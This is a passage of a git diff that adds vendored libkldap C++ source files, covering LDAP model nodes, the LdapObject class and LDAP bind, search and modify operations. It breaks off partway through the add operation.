+LdapModelNode::~LdapModelNode() +{ + +} + +LdapModelDNNode *LdapModelNode::parent() +{ + return m_parent; +} + +int LdapModelNode::row() const +{ + if (m_parent) { + return m_parent->children().indexOf(const_cast(this)); + } + return 0; +} + +// +// LdapModelDNNode imlpementation +// + +LdapModelDNNode::LdapModelDNNode(LdapModelDNNode *parent, + const LdapDN &dn) + : LdapModelNode(parent), + m_childItems(), + m_dn(dn) +{ + qCDebug(LDAP_LOG) << "Creating DN =" << m_dn.toString(); +} + +LdapModelDNNode::~LdapModelDNNode() +{ + qDeleteAll(m_childItems); +} + +void LdapModelDNNode::appendChild(LdapModelNode *pItem) +{ + m_childItems.append(pItem); + setPopulated(true); +} + +LdapModelNode *LdapModelDNNode::child(int row) +{ + return m_childItems.value(row); +} + +void LdapModelDNNode::setLdapObject(const LdapObject &object) +{ + // Remember whether this item is populated or not + bool populated = isPopulated(); + + const LdapAttrMap &attrs = object.attributes(); + /* + int attributeCount = 0; + for ( LdapAttrMap::ConstIterator it = attrs.begin(); it != attrs.end(); ++it ) { + attributeCount += (*it).size(); + } + + for ( int i = 0; i < attributeCount; i++ ) + { + LdapModelNode* node = new LdapModelAttrNode( this, QString::number( i ) ); + Q_UNUSED( node ); + } + */ + LdapAttrMap::ConstIterator end(attrs.constEnd()); + for (LdapAttrMap::ConstIterator it = attrs.constBegin(); it != end; ++it) { + const QString attr = it.key(); + LdapAttrValue::ConstIterator end2((*it).constEnd()); + for (LdapAttrValue::ConstIterator it2 = (*it).constBegin(); it2 != end2; ++it2) { + LdapModelNode *node = new LdapModelAttrNode(this, attr, *it2); + Q_UNUSED(node); + } + } + + // Reset the populated flag so that we don't stop the model querying for children + setPopulated(populated); +} + +// +// LdapModelAttrNode imlpementation +// + +LdapModelAttrNode::LdapModelAttrNode(LdapModelDNNode *parent, + const QString &attrName, + const QByteArray &attrData) + : LdapModelNode(parent), + m_attrName(attrName), + m_attrData(attrData) +{ + qCDebug(LDAP_LOG) << "Creating Name =" << m_attrName << " Data =" << m_attrData; +} + +LdapModelAttrNode::~LdapModelAttrNode() +{ + +} diff --git a/3rdparty/kldap/src/ldapmodelnode_p.h b/3rdparty/kldap/src/ldapmodelnode_p.h new file mode 100644 index 0000000..cce9b61 --- /dev/null +++ b/3rdparty/kldap/src/ldapmodelnode_p.h @@ -0,0 +1,152 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPMODELNODE_P_H +#define KLDAP_LDAPMODELNODE_P_H + +#include +#include +#include + +#include "ldapdn.h" +#include "ldapobject.h" +#include "kldap_export.h" + +// clazy:excludeall=copyable-polymorphic + +namespace KLDAP +{ + +class LdapModelDNNode; + +/** + * @internal + */ +class LdapModelNode +{ +public: + explicit LdapModelNode(LdapModelDNNode *parent = nullptr); + virtual ~LdapModelNode(); + + enum NodeType { + DN, + Attr + }; + + virtual NodeType nodeType() const = 0; + + LdapModelDNNode *parent(); + int columnCount() const + { + return 2; + } + int row() const; + + void setPopulated(bool b) + { + m_isPopulated = b; + } + bool isPopulated() const + { + return m_isPopulated; + } + +private: + LdapModelDNNode *m_parent = nullptr; + bool m_isPopulated = false; +}; + +/** + * @internal + */ +class LdapModelDNNode : public LdapModelNode +{ +public: + explicit LdapModelDNNode(LdapModelDNNode *parent = nullptr, + const LdapDN &dn = LdapDN()); + ~LdapModelDNNode() override; + + LdapModelNode::NodeType nodeType() const override + { + return LdapModelNode::DN; + } + + void appendChild(LdapModelNode *pItem); + LdapModelNode *child(int row); + int childCount() const + { + return m_childItems.size(); + } + const QList &children() const + { + return m_childItems; + } + + const LdapDN &dn() const + { + return m_dn; + } + + /** + * Creates child LdapModelAttrNode object to store \p object's attributes + * and adds them as children of this node. + * + * \param The LdapObject to store in this node. + */ + void setLdapObject(const LdapObject &object); + +private: + QList m_childItems; + LdapDN m_dn; +}; + +/** + * @internal + */ +class LdapModelAttrNode : public LdapModelNode +{ +public: + explicit LdapModelAttrNode(LdapModelDNNode *parent = nullptr, + const QString &attrName = QString(), + const QByteArray &attrData = QByteArray()); + ~LdapModelAttrNode() override; + + LdapModelNode::NodeType nodeType() const override + { + return LdapModelNode::Attr; + } + + const QString &attributeName() + { + return m_attrName; + } + const QByteArray &attributeData() + { + return m_attrData; + } + +private: + QString m_attrName; + QByteArray m_attrData; +}; + +} + +#endif diff --git a/3rdparty/kldap/src/ldapobject.cpp b/3rdparty/kldap/src/ldapobject.cpp new file mode 100644 index 0000000..733724f --- /dev/null +++ b/3rdparty/kldap/src/ldapobject.cpp @@ -0,0 +1,151 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapobject.h" +#include "ldif.h" + +#include + +using namespace KLDAP; + +class LdapObjectPrivate : public QSharedData +{ +public: + LdapObjectPrivate() + { + } + + LdapObjectPrivate(const LdapObjectPrivate &other) + : QSharedData(other) + { + mDn = other.mDn; + mAttrs = other.mAttrs; + } + + LdapDN mDn; + LdapAttrMap mAttrs; +}; + +LdapObject::LdapObject() + : d(new LdapObjectPrivate) +{ +} + +LdapObject::LdapObject(const QString &dn) + : d(new LdapObjectPrivate) +{ + d->mDn = LdapDN(dn); +} + +LdapObject::~LdapObject() +{ +} + +LdapObject::LdapObject(const LdapObject &that) + : d(that.d) +{ +} + +LdapObject &LdapObject::operator=(const LdapObject &that) +{ + if (this != &that) { + d = that.d; + } + + return *this; +} + +void LdapObject::setDn(const LdapDN &dn) +{ + d->mDn = dn; +} + +void LdapObject::setDn(const QString &dn) +{ + d->mDn = LdapDN(dn); +} + +void LdapObject::setAttributes(const LdapAttrMap &attrs) +{ + d->mAttrs = attrs; +} + +LdapDN LdapObject::dn() const +{ + return d->mDn; +} + +const LdapAttrMap &LdapObject::attributes() const +{ + return d->mAttrs; +} + +QString LdapObject::toString() const +{ + QString result = QStringLiteral("dn: %1\n").arg(d->mDn.toString()); + LdapAttrMap::ConstIterator end(d->mAttrs.constEnd()); + for (LdapAttrMap::ConstIterator it = d->mAttrs.constBegin(); it != end; ++it) { + const QString attr = it.key(); + LdapAttrValue::ConstIterator end2((*it).constEnd()); + for (LdapAttrValue::ConstIterator it2 = (*it).constBegin(); it2 != end2; ++it2) { + result += QString::fromUtf8(Ldif::assembleLine(attr, *it2, 76)) + QLatin1Char('\n'); + } + } + return result; +} + +void LdapObject::clear() +{ + d->mDn.clear(); + d->mAttrs.clear(); +} + +void LdapObject::setValues(const QString &attributeName, const LdapAttrValue &values) +{ + d->mAttrs[ attributeName ] = values; +} + +void LdapObject::addValue(const QString &attributeName, const QByteArray &value) +{ + d->mAttrs[ attributeName ].append(value); +} + +LdapAttrValue LdapObject::values(const QString &attributeName) const +{ + if (hasAttribute(attributeName)) { + return d->mAttrs.value(attributeName); + } else { + return LdapAttrValue(); + } +} + +QByteArray LdapObject::value(const QString &attributeName) const +{ + if (hasAttribute(attributeName)) { + return d->mAttrs.value(attributeName).first(); + } else { + return QByteArray(); + } +} + +bool LdapObject::hasAttribute(const QString &attributeName) const +{ + return d->mAttrs.contains(attributeName); +} diff --git a/3rdparty/kldap/src/ldapobject.h b/3rdparty/kldap/src/ldapobject.h new file mode 100644 index 0000000..8d05ac7 --- /dev/null +++ b/3rdparty/kldap/src/ldapobject.h @@ -0,0 +1,119 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPOBJECT_H +#define KLDAP_LDAPOBJECT_H + +#include +#include +#include +#include +class LdapObjectPrivate; + +#include "ldapdn.h" +#include "kldap_export.h" + +// clazy:excludeall=copyable-polymorphic + +namespace KLDAP +{ + +typedef QList LdapAttrValue; +typedef QMap LdapAttrMap; + +/** + * @brief + * This class represents an LDAP Object +*/ +class KLDAP_EXPORT LdapObject +{ +public: + LdapObject(); + explicit LdapObject(const QString &dn); + ~LdapObject(); + + LdapObject(const LdapObject &that); + LdapObject &operator=(const LdapObject &that); + + /** + * Returns the text presentation (LDIF format) of the object. + */ + Q_REQUIRED_RESULT QString toString() const; + + /** + * Clears the name and attributes of the object. + */ + void clear(); + /** + * Sets the Distinguished Name of the object. + */ + void setDn(const LdapDN &dn); + /** + * Sets the Distinguished Name of the object. + */ + void setDn(const QString &dn); + /** + * Sets the attributes and attribute values of the object. + */ + void setAttributes(const LdapAttrMap &attrs); + /** + * Sets the given attribute values. If the given attribute not exists, + * then it's created, if exists, it's overwritten. + * @param attributeName the attribute name for which to set values + * @param values the values of attribute to set + */ + void setValues(const QString &attributeName, const LdapAttrValue &values); + /** + * Adds the given value to the specified attribute. If the given attribute + * not exists, then it's created. + * @param attributeName the attribute for which to add a value + * @param value the attribute value to add + */ + void addValue(const QString &attributeName, const QByteArray &value); + /** + * Return the Distinguished Name of the object. + */ + Q_REQUIRED_RESULT LdapDN dn() const; + /** + * Returns the attributes and their values. + */ + const LdapAttrMap &attributes() const; + /** + * Returns all values of the attribute with the given name. + */ + Q_REQUIRED_RESULT LdapAttrValue values(const QString &attributeName) const; + /** + * Returns the first value of the attribute with the given name + * or an empty byte array if the attribute does not exists. + */ + Q_REQUIRED_RESULT QByteArray value(const QString &attributeName) const; + /** + * Returns true if the given attributethe exists, false otherwise. + */ + Q_REQUIRED_RESULT bool hasAttribute(const QString &attributeName) const; + +private: + QSharedDataPointer d; +}; + +typedef QVector LdapObjects; +} + +#endif diff --git a/3rdparty/kldap/src/ldapoperation.cpp b/3rdparty/kldap/src/ldapoperation.cpp new file mode 100644 index 0000000..78b5e1c --- /dev/null +++ b/3rdparty/kldap/src/ldapoperation.cpp @@ -0,0 +1,1323 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapoperation.h" +#include "kldap_config.h" + +#include "ldap_debug.h" + +#include + +#include + +//for struct timeval +#if defined(HAVE_SYS_TIME_H) +# include +#elif defined(_WIN32) +# include +#endif + +#ifdef SASL2_FOUND +#include +#endif + +#ifdef LDAP_FOUND +# ifndef HAVE_WINLDAP_H +# include +# include +# else +# include +# endif // HAVE_WINLDAP_H +#endif // LDAP_FOUND + +#include "ldapdefs.h" + +using namespace KLDAP; + +#ifdef LDAP_FOUND +static void extractControls(LdapControls &ctrls, LDAPControl **pctrls); +#endif // LDAP_FOUND + +/* + Returns the difference between msecs and elapsed. If msecs is -1, + however, -1 is returned. +*/ +static int kldap_timeout_value(int msecs, int elapsed) +{ + if (msecs == -1) { + return -1; + } + + int timeout = msecs - elapsed; + return timeout < 0 ? 0 : timeout; +} + +class Q_DECL_HIDDEN LdapOperation::LdapOperationPrivate +{ +public: + LdapOperationPrivate(); + ~LdapOperationPrivate(); +#ifdef LDAP_FOUND + int processResult(int rescode, LDAPMessage *msg); + int bind(const QByteArray &creds, SASL_Callback_Proc *saslproc, void *data, bool async); +#endif + LdapControls mClientCtrls, mServerCtrls, mControls; + LdapObject mObject; + QByteArray mExtOid, mExtData; + QByteArray mServerCred; + QString mMatchedDn; + QList mReferrals; + + LdapConnection *mConnection; +}; + +LdapOperation::LdapOperation() + : d(new LdapOperationPrivate) +{ + d->mConnection = nullptr; +} + +LdapOperation::LdapOperation(LdapConnection &conn) + : d(new LdapOperationPrivate) +{ + setConnection(conn); +} + +LdapOperation::~LdapOperation() +{ + delete d; +} + +void LdapOperation::setConnection(LdapConnection &conn) +{ + d->mConnection = &conn; +} + +LdapConnection &LdapOperation::connection() +{ + return *d->mConnection; +} + +void LdapOperation::setClientControls(const LdapControls &ctrls) +{ + d->mClientCtrls = ctrls; +} + +void LdapOperation::setServerControls(const LdapControls &ctrls) +{ + d->mServerCtrls = ctrls; +} + +LdapControls LdapOperation::clientControls() const +{ + return d->mClientCtrls; +} + +LdapControls LdapOperation::serverControls() const +{ + return d->mServerCtrls; +} + +LdapObject LdapOperation::object() const +{ + return d->mObject; +} + +LdapControls LdapOperation::controls() const +{ + return d->mControls; +} + +QByteArray LdapOperation::extendedOid() const +{ + return d->mExtOid; +} + +QByteArray LdapOperation::extendedData() const +{ + return d->mExtData; +} + +QString LdapOperation::matchedDn() const +{ + return d->mMatchedDn; +} + +QList LdapOperation::referrals() const +{ + return d->mReferrals; +} + +QByteArray LdapOperation::serverCred() const +{ + return d->mServerCred; +} + +LdapOperation::LdapOperationPrivate::LdapOperationPrivate() + : mConnection(nullptr) +{ +} + +LdapOperation::LdapOperationPrivate::~LdapOperationPrivate() +{ +} + +#ifdef LDAP_FOUND + +#ifdef SASL2_FOUND +static int kldap_sasl_interact(sasl_interact_t *interact, LdapOperation::SASL_Data *data) +{ + if (data->proc) { + for (; interact->id != SASL_CB_LIST_END; interact++) { + switch (interact->id) { + case SASL_CB_GETREALM: + data->creds.fields |= LdapOperation::SASL_Realm; + break; + case SASL_CB_AUTHNAME: + data->creds.fields |= LdapOperation::SASL_Authname; + break; + case SASL_CB_PASS: + data->creds.fields |= LdapOperation::SASL_Password; + break; + case SASL_CB_USER: + data->creds.fields |= LdapOperation::SASL_Authzid; + break; + } + } + int retval; + if ((retval = data->proc(data->creds, data->data))) { + return retval; + } + } + + QString value; + + while (interact->id != SASL_CB_LIST_END) { + value.clear(); + switch (interact->id) { + case SASL_CB_GETREALM: + value = data->creds.realm; + qCDebug(LDAP_LOG) << "SASL_REALM=" << value; + break; + case SASL_CB_AUTHNAME: + value = data->creds.authname; + qCDebug(LDAP_LOG) << "SASL_AUTHNAME=" << value; + break; + case SASL_CB_PASS: + value = data->creds.password; + qCDebug(LDAP_LOG) << "SASL_PASSWD=[hidden]"; + break; + case SASL_CB_USER: + value = data->creds.authzid; + qCDebug(LDAP_LOG) << "SASL_AUTHZID=" << value; + break; + } + if (value.isEmpty()) { + interact->result = nullptr; + interact->len = 0; + } else { + interact->result = strdup(value.toUtf8().constData()); + interact->len = strlen((const char *)interact->result); + } + interact++; + } + return KLDAP_SUCCESS; +} +#endif + +int LdapOperation::LdapOperationPrivate::bind(const QByteArray &creds, + SASL_Callback_Proc *saslproc, + void *data, bool async) +{ + Q_ASSERT(mConnection); + LDAP *ld = (LDAP *) mConnection->handle(); + LdapServer server; + server = mConnection->server(); + + int ret; + + if (server.auth() == LdapServer::SASL) { +#if defined( SASL2_FOUND ) && !defined( HAVE_WINLDAP_H ) + sasl_conn_t *saslconn = (sasl_conn_t *)mConnection->saslHandle(); + sasl_interact_t *client_interact = nullptr; + const char *out = nullptr; + uint outlen; + const char *mechusing = nullptr; + struct berval ccred, *scred; + int saslresult; + QByteArray sdata = creds; + + QString mech = server.mech(); + if (mech.isEmpty()) { + mech = QStringLiteral("DIGEST-MD5"); + } + + SASL_Data sasldata; + sasldata.proc = saslproc; + sasldata.data = data; + sasldata.creds.fields = 0; + sasldata.creds.realm = server.realm(); + sasldata.creds.authname = server.user(); + sasldata.creds.authzid = server.bindDn(); + sasldata.creds.password = server.password(); + + do { + if (sdata.isEmpty()) { + do { + saslresult = sasl_client_start(saslconn, mech.toLatin1().constData(), + &client_interact, &out, &outlen, &mechusing); + + if (saslresult == SASL_INTERACT) { + if (kldap_sasl_interact(client_interact, &sasldata) != KLDAP_SUCCESS) { + return KLDAP_SASL_ERROR; + } + } + qCDebug(LDAP_LOG) << "sasl_client_start mech: " + << mechusing << " outlen " << outlen + << " result: " << saslresult; + } while (saslresult == SASL_INTERACT); + if (saslresult != SASL_CONTINUE && saslresult != SASL_OK) { + return KLDAP_SASL_ERROR; + } + + } else { + qCDebug(LDAP_LOG) << "sasl_client_step"; + do { + saslresult = sasl_client_step(saslconn, sdata.data(), sdata.size(), + &client_interact, &out, &outlen); + if (saslresult == SASL_INTERACT) { + if (kldap_sasl_interact(client_interact, &sasldata) != KLDAP_SUCCESS) { + return KLDAP_SASL_ERROR; + } + } + } while (saslresult == SASL_INTERACT); + qCDebug(LDAP_LOG) << "sasl_client_step result" << saslresult; + if (saslresult != SASL_CONTINUE && saslresult != SASL_OK) { + return KLDAP_SASL_ERROR; + } + } + + ccred.bv_val = (char *) out; + ccred.bv_len = outlen; + + if (async) { + qCDebug(LDAP_LOG) << "ldap_sasl_bind"; + int msgid; + ret = + ldap_sasl_bind(ld, server.bindDn().toUtf8().constData(), mech.toLatin1().constData(), + &ccred, nullptr, nullptr, &msgid); + if (ret == 0) { + ret = msgid; + } + qCDebug(LDAP_LOG) << "ldap_sasl_bind msgid" << ret; + } else { + qCDebug(LDAP_LOG) << "ldap_sasl_bind_s"; + ret = + ldap_sasl_bind_s(ld, server.bindDn().toUtf8().constData(), mech.toLatin1().constData(), + &ccred, nullptr, nullptr, &scred); + qCDebug(LDAP_LOG) << "ldap_sasl_bind_s ret" << ret; + if (scred) { + sdata = QByteArray(scred->bv_val, scred->bv_len); + } else { + sdata = QByteArray(); + } + } + } while (!async && ret == KLDAP_SASL_BIND_IN_PROGRESS); +#else + qCritical() << "SASL authentication is not available " + << "(re-compile kldap with cyrus-sasl and OpenLDAP development)."; + return KLDAP_SASL_ERROR; +#endif + } else { //simple auth + QByteArray bindname, pass; + struct berval ccred; + if (server.auth() == LdapServer::Simple) { + bindname = server.bindDn().toUtf8(); + pass = server.password().toUtf8(); + } + ccred.bv_val = pass.data(); + ccred.bv_len = pass.size(); + qCDebug(LDAP_LOG) << "binding to server, bindname: " << bindname << " password: *****"; + + if (async) { + qCDebug(LDAP_LOG) << "ldap_sasl_bind (simple)"; +#ifndef HAVE_WINLDAP_H + int msgid = 0; + ret = ldap_sasl_bind(ld, bindname.data(), nullptr, &ccred, nullptr, nullptr, &msgid); + if (ret == 0) { + ret = msgid; + } +#else + ret = ldap_simple_bind(ld, bindname.data(), pass.data()); +#endif + } else { + qCDebug(LDAP_LOG) << "ldap_sasl_bind_s (simple)"; +#ifndef HAVE_WINLDAP_H + ret = ldap_sasl_bind_s(ld, bindname.data(), nullptr, &ccred, nullptr, nullptr, nullptr); +#else + ret = ldap_simple_bind_s(ld, bindname.data(), pass.data()); +#endif + } + } + return ret; +} + +int LdapOperation::LdapOperationPrivate::processResult(int rescode, LDAPMessage *msg) +{ + //qCDebug(LDAP_LOG); + int retval; + LDAP *ld = (LDAP *) mConnection->handle(); + + qCDebug(LDAP_LOG) << "rescode: " << rescode; + switch (rescode) { + case RES_SEARCH_ENTRY: { + //qCDebug(LDAP_LOG) << "Found search entry"; + mObject.clear(); + LdapAttrMap attrs; + char *name; + struct berval **bvals; + BerElement *entry; + LdapAttrValue values; + + char *dn = ldap_get_dn(ld, msg); + mObject.setDn(QString::fromUtf8(dn)); + ldap_memfree(dn); + + // iterate over the attributes + name = ldap_first_attribute(ld, msg, &entry); + while (name != nullptr) { + // print the values + bvals = ldap_get_values_len(ld, msg, name); + if (bvals) { + for (int i = 0; bvals[i] != nullptr; i++) { + char *val = bvals[i]->bv_val; + unsigned long len = bvals[i]->bv_len; + values.append(QByteArray(val, len)); + } + ldap_value_free_len(bvals); + } + attrs[ QString::fromLatin1(name) ] = values; + values.clear(); + ldap_memfree(name); + + // next attribute + name = ldap_next_attribute(ld, msg, entry); + } + ber_free(entry, 0); + mObject.setAttributes(attrs); + break; + } + case RES_SEARCH_REFERENCE: + // Will only get this if following references is disabled. ignore it + rescode = 0; + break; + case RES_EXTENDED: { + char *retoid; + struct berval *retdata; + retval = ldap_parse_extended_result(ld, msg, &retoid, &retdata, 0); + if (retval != KLDAP_SUCCESS) { + ldap_msgfree(msg); + return -1; + } + mExtOid = retoid ? QByteArray(retoid) : QByteArray(); + mExtData = retdata ? QByteArray(retdata->bv_val, retdata->bv_len) : QByteArray(); + ldap_memfree(retoid); + ber_bvfree(retdata); + break; + } + case RES_BIND: { + struct berval *servercred = nullptr; +#ifndef HAVE_WINLDAP_H + // FIXME: Error handling Winldap does not have ldap_parse_sasl_bind_result + retval = ldap_parse_sasl_bind_result(ld, msg, &servercred, 0); +#else + retval = KLDAP_SUCCESS; +#endif + if (retval != KLDAP_SUCCESS && retval != KLDAP_SASL_BIND_IN_PROGRESS) { + qCDebug(LDAP_LOG) << "RES_BIND error: " << retval; + ldap_msgfree(msg); + return -1; + } + qCDebug(LDAP_LOG) << "RES_BIND rescode" << rescode << "retval:" << retval; + if (servercred) { + mServerCred = QByteArray(servercred->bv_val, servercred->bv_len); + ber_bvfree(servercred); + } else { + mServerCred = QByteArray(); + } + break; + } + default: { + LDAPControl **serverctrls = nullptr; + char *matcheddn = nullptr, *errmsg = nullptr; + char **referralsp; + int errcodep; + retval = + ldap_parse_result(ld, msg, &errcodep, &matcheddn, &errmsg, &referralsp, + &serverctrls, 0); + qCDebug(LDAP_LOG) << "rescode" << rescode << "retval:" << retval + << "matcheddn:" << matcheddn << "errcode:" + << errcodep << "errmsg:" << errmsg; + if (retval != KLDAP_SUCCESS) { + ldap_msgfree(msg); + return -1; + } + mControls.clear(); + if (serverctrls) { + extractControls(mControls, serverctrls); + ldap_controls_free(serverctrls); + } + mReferrals.clear(); + if (referralsp) { + char **tmp = referralsp; + while (*tmp) { + mReferrals.append(QByteArray(*tmp)); + ldap_memfree(*tmp); + tmp++; + } + ldap_memfree((char *) referralsp); + } + mMatchedDn.clear(); + if (matcheddn) { + mMatchedDn = QString::fromUtf8(matcheddn); + ldap_memfree(matcheddn); + } + if (errmsg) { + ldap_memfree(errmsg); + } + } + } + + ldap_msgfree(msg); + + return rescode; +} + +static void addModOp(LDAPMod ***pmods, int mod_type, const QString &attr, + const QByteArray *value = nullptr) +{ + // qCDebug(LDAP_LOG) << "type:" << mod_type << "attr:" << attr << + // "value:" << QString::fromUtf8(value,value.size()) << + // "size:" << value.size(); + LDAPMod **mods; + + mods = *pmods; + + uint i = 0; + + if (mods == nullptr) { + mods = (LDAPMod **)malloc(2 * sizeof(LDAPMod *)); + mods[ 0 ] = (LDAPMod *)malloc(sizeof(LDAPMod)); + mods[ 1 ] = nullptr; + memset(mods[ 0 ], 0, sizeof(LDAPMod)); + } else { + while (mods[ i ] != nullptr && + (strcmp(attr.toUtf8().constData(), mods[i]->mod_type) != 0 || + (mods[ i ]->mod_op & ~LDAP_MOD_BVALUES) != mod_type)) { + i++; + } + + if (mods[ i ] == nullptr) { + mods = (LDAPMod **)realloc(mods, (i + 2) * sizeof(LDAPMod *)); + if (mods == nullptr) { + qCritical() << "addModOp: realloc"; + return; + } + mods[ i + 1 ] = nullptr; + mods[ i ] = (LDAPMod *) malloc(sizeof(LDAPMod)); + memset(mods[ i ], 0, sizeof(LDAPMod)); + } + } + + mods[ i ]->mod_op = mod_type | LDAP_MOD_BVALUES; + if (mods[ i ]->mod_type == nullptr) { + mods[ i ]->mod_type = strdup(attr.toUtf8().constData()); + } + + *pmods = mods; + + if (value == nullptr) { + return; + } + + int vallen = value->size(); + BerValue *berval; + berval = (BerValue *) malloc(sizeof(BerValue)); + berval -> bv_len = vallen; + if (vallen > 0) { + berval -> bv_val = (char *) malloc(vallen); + memcpy(berval -> bv_val, value->data(), vallen); + } else { + berval -> bv_val = nullptr; + } + + if (mods[ i ] -> mod_vals.modv_bvals == nullptr) { + mods[ i ]->mod_vals.modv_bvals = + (BerValue **) malloc(sizeof(BerValue *) * 2); + mods[ i ]->mod_vals.modv_bvals[ 0 ] = berval; + mods[ i ]->mod_vals.modv_bvals[ 1 ] = nullptr; +// qCDebug(LDAP_LOG) << "new bervalue struct" << attr << value; + } else { + uint j = 0; + while (mods[ i ]->mod_vals.modv_bvals[ j ] != nullptr) { + j++; + } + mods[ i ]->mod_vals.modv_bvals = + (BerValue **)realloc(mods[ i ]->mod_vals.modv_bvals, + (j + 2) * sizeof(BerValue *)); + if (mods[ i ]->mod_vals.modv_bvals == nullptr) { + qCritical() << "addModOp: realloc"; + free(berval); + return; + } + mods[ i ]->mod_vals.modv_bvals[ j ] = berval; + mods[ i ]->mod_vals.modv_bvals[ j + 1 ] = nullptr; + qCDebug(LDAP_LOG) << j << ". new bervalue"; + } +} + +static void addControlOp(LDAPControl ***pctrls, const QString &oid, + const QByteArray &value, bool critical) +{ + LDAPControl **ctrls; + LDAPControl *ctrl = (LDAPControl *) malloc(sizeof(LDAPControl)); + + ctrls = *pctrls; + + qCDebug(LDAP_LOG) << "oid:'" << oid << "' val: '" << value << "'"; + int vallen = value.size(); + ctrl->ldctl_value.bv_len = vallen; + if (vallen) { + ctrl->ldctl_value.bv_val = (char *) malloc(vallen); + memcpy(ctrl->ldctl_value.bv_val, value.data(), vallen); + } else { + ctrl->ldctl_value.bv_val = nullptr; + } + ctrl->ldctl_iscritical = critical; + ctrl->ldctl_oid = strdup(oid.toUtf8().constData()); + + uint i = 0; + + if (ctrls == nullptr) { + ctrls = (LDAPControl **)malloc(2 * sizeof(LDAPControl *)); + ctrls[ 0 ] = nullptr; + ctrls[ 1 ] = nullptr; + } else { + while (ctrls[ i ] != nullptr) { + i++; + } + ctrls[ i + 1 ] = nullptr; + ctrls = + (LDAPControl **)realloc(ctrls, (i + 2) * sizeof(LDAPControl *)); + } + ctrls[ i ] = ctrl; + *pctrls = ctrls; +} + +static void createControls(LDAPControl ***pctrls, const LdapControls &ctrls) +{ + for (int i = 0; i < ctrls.count(); ++i) { + addControlOp(pctrls, ctrls[i].oid(), ctrls[i].value(), ctrls[i].critical()); + } +} + +static void extractControls(LdapControls &ctrls, LDAPControl **pctrls) +{ + LdapControl control; + int i = 0; + + while (pctrls[i]) { + LDAPControl *ctrl = pctrls[ i ]; + control.setOid(QString::fromUtf8(ctrl->ldctl_oid)); + control.setValue(QByteArray(ctrl->ldctl_value.bv_val, + ctrl->ldctl_value.bv_len)); + control.setCritical(ctrl->ldctl_iscritical); + ctrls.append(control); + i++; + } +} + +int LdapOperation::bind(const QByteArray &creds, SASL_Callback_Proc *saslproc, void *data) +{ + return d->bind(creds, saslproc, data, true); +} + +int LdapOperation::bind_s(SASL_Callback_Proc *saslproc, void *data) +{ + return d->bind(QByteArray(), saslproc, data, false); +} + +int LdapOperation::search(const LdapDN &base, LdapUrl::Scope scope, + const QString &filter, const QStringList &attributes) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + char **attrs = nullptr; + int msgid; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + + int count = attributes.count(); + if (count > 0) { + attrs = static_cast(malloc((count + 1) * sizeof(char *))); + for (int i = 0; i < count; i++) { + attrs[i] = strdup(attributes.at(i).toUtf8().constData()); + } + attrs[count] = nullptr; + } + + int lscope = LDAP_SCOPE_BASE; + switch (scope) { + case LdapUrl::Base: + lscope = LDAP_SCOPE_BASE; + break; + case LdapUrl::One: + lscope = LDAP_SCOPE_ONELEVEL; + break; + case LdapUrl::Sub: + lscope = LDAP_SCOPE_SUBTREE; + break; + } + + qCDebug(LDAP_LOG) << "asyncSearch() base=\"" << base.toString() + << "\" scope=" << (int)scope + << "filter=\"" << filter + << "\" attrs=" << attributes; + int retval = + ldap_search_ext(ld, base.toString().toUtf8().data(), lscope, + filter.isEmpty() ? QByteArray("objectClass=*").data() : + filter.toUtf8().data(), + attrs, 0, serverctrls, clientctrls, nullptr, + d->mConnection->sizeLimit(), &msgid); + + ldap_controls_free(serverctrls); + ldap_controls_free(clientctrls); + + // free the attributes list again + if (count > 0) { + for (int i = 0; i < count; i++) { + free(attrs[i]); + } + free(attrs); + } + + if (retval == 0) { + retval = msgid; + } + return retval; +} + +int LdapOperation::add(const LdapObject &object) +{ + Q_ASSERT(d->mConnection); + LDAP *ld = (LDAP *) d->mConnection->handle(); + + int msgid; + LDAPMod **lmod = nullptr; + + LDAPControl **serverctrls = nullptr, **clientctrls = nullptr; + createControls(&serverctrls, d->mServerCtrls); + createControls(&serverctrls, d->mClientCtrls); + 